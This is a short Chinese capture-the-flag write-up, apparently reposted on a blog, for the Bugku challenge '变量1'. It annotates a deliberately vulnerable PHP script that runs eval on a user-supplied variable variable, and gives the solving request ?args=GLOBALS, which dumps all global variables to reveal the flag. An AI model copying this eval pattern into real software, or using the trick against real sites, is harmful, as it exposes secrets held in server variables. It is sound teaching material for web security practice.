Bugku-CTF之变量1

 Day9

 

变量1

http://123.206.87.240:8004/index1.php

 

 
 
 
 
 
本题要点:正则表达式、可变变量、全局变量
 
 
对代码的解释:
 
 <?php  
error_reporting(0);              // 关闭php错误显示
include "flag1.php";               // 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){                       // 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){                   // 正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
 
 
 介绍一下可变变量
具体详情见:
https://www.php.net/manual/zh/language.variables.variable.php
 

 

 

所以我们只需给变量传一个全局数组变量就好了 所以我们构造 ?args=GLOBALS加到url后面
http://120.24.86.145:8004/index1.php?args=GLOBALS
 
注:此处全局变量的GLOBALS必须为大写!!!!

 

便可得到FLAG
 
 
完成!

 

 

参考资料:

https://www.php.net/manual/zh/language.variables.variable.php

 

转载于:https://www.cnblogs.com/0yst3r-2046/p/10740579.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值